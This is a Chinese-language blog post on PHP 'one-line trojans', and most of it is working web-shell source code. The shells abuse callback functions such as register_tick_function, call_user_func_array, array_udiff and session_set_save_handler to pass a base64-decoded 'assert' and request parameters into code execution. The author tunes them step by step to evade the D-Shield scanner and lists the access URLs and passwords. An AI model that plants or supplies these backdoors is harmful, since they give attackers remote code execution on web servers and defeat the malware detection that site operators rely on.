PHP一句話木馬研究
最近在研究PHP一句話後門,查閱了很多大佬的博客,並從中衍生出了一些可用的方法。
現總結如下:
方案一:回調函數
回調函數:Callback (即call then back 被主函數調用運算後會返回主函數),是指通過函數參數傳遞到其它代碼的,某一塊可執行代碼的引用。
已被D盾查殺的函數:
array_filter()
array_walk()
array_walk_recursive()
array_map()
registregister_shutdown_function();
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce() 可疑(級別2)
array_walk()
array_walk_recursive()
1.register_tick_function()
構造一句話:
<?php
declare(ticks=1);
register_tick_function(base64_decode($_REQUEST[‘e‘]),$_REQUEST[‘a‘]);
?>
訪問URL:
IP/XXX.php?e=YXNzZXJ0
密碼:a
2.變種call_user_func_array()
嘗試模仿正常函數調用,定義一個簡單的function:
<?php
function newsSearch($para0){
$evil=$para0;
$exec=$_GET[‘id‘];
call_user_func_array($exec,array($evil));
}
newsSearch($_POST[‘tid‘]);
?>
使用D盾查殺。
0ops!!沒過!!變量$exec被解析成了$GET["id"],但$evil沒有被解析,猜測只要將$exec放在newSearch()函數外面用GET方法獲取,就不會被D盾解析,編寫新的shell:
<?php
function newsSearch($para0,$para1){
$evil=$para0;
call_user_func_array($para1,array($evil));
}
$exec=base64_decode($_GET[‘id‘]);
newsSearch($_POST[‘tid‘],$exec);
?>
OK!完美繞過!
訪問URL:
IP/XXX.php?id=YXNzZXJ0
密碼:key
同樣的方法可以使用call_user_func
函數,構造shell如下:
<?php
function newsSearch($para0,$para1){
$evil=$para0;
call_user_func($para1,$evil);
}
$exec=base64_decode($_GET[‘id‘]);
newsSearch($_POST[‘tid‘],$exec);
?>
3.變種array_udiff()
用相同的方法構造使用array_udiff()的shell:
<?php
function newsSearch($para0,$para1){
$evil=$para0;
$exec=$para1;
array_udiff($arr=array($evil),$arr1 = array(‘‘),$exec);
}
$exec=base64_decode($_REQUEST[‘exec‘]);
newsSearch($_POST[‘key‘],$exec);
?>
訪問URL:
IP/XXX.php?exec=YXNzZXJ0
密碼:key
剩下的回調函數也可以用相同的方法繞過D盾。
4.session_set_save_handler
session_set_save_handler函數可以定義用戶級的session保存函數(打開、保存、關閉),當我們想把session保存在本地的一個數據庫中時,本函數就很有用了。
編寫shell如下:
<?php
error_reporting(0);
$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
function open($save_path, $session_name) // open第一個被調用,類似類的構造函數
{}
function close() // close最後一個被調用,類似 類的析構函數
{
}
session_id($_REQUEST[‘op‘]);// 執行session_id($_REQUEST[‘op‘])後,PHP自動會進行read操作,因為我們為read callback賦值了assert操作,等價於執行assert($_REQUEST[‘op‘])
function write($id, $sess_data)
{}
function destroy($id)
{}
function gc()
{}
// 第三個參數為read read(string $sessionId)
session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
@session_start(); // 打開會話
?>
使用D盾查殺。$session被解析為assert,猜測D盾認為該函數的參數中不應該含有assert等敏感函數,否則就掛掉!把$session用GET輸入試試:
$session=$_REQUEST[‘id‘];
看來只要參數中含有敏感函數、GET、POST、REQUEST都會報錯!
嘗試創建一個用戶函數,在函數中調用session_set_save_handler(),並將assert作為參數傳入:
<?php
error_reporting(0);
//$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
function test($para){
session_set_save_handler("open", "close", $para, "write", "destroy", "gc");
@session_start(); // 打開會話
}
$session=base64_decode($_REQUEST[‘id‘]);
// open第一個被調用,類似類的構造函數
function open($save_path, $session_name)
{}
// close最後一個被調用,類似 類的析構函數
function close()
{
}
// 執行session_id($_REQUEST[‘op‘])後,PHP自動會進行read操作,因為我們為read callback賦值了assert操作,等價於執行assert($_REQUEST[‘op‘])
session_id($_REQUEST[‘op‘]);
function write($id, $sess_data)
{}
function destroy($id)
{}
function gc()
{}
// 第三個參數為read read(string $sessionId)
test($session);
?>
完美繞過!
訪問URL:
IP/XXX.php?id=YXNzZXJ0
密碼:op
PHP一句話木馬研究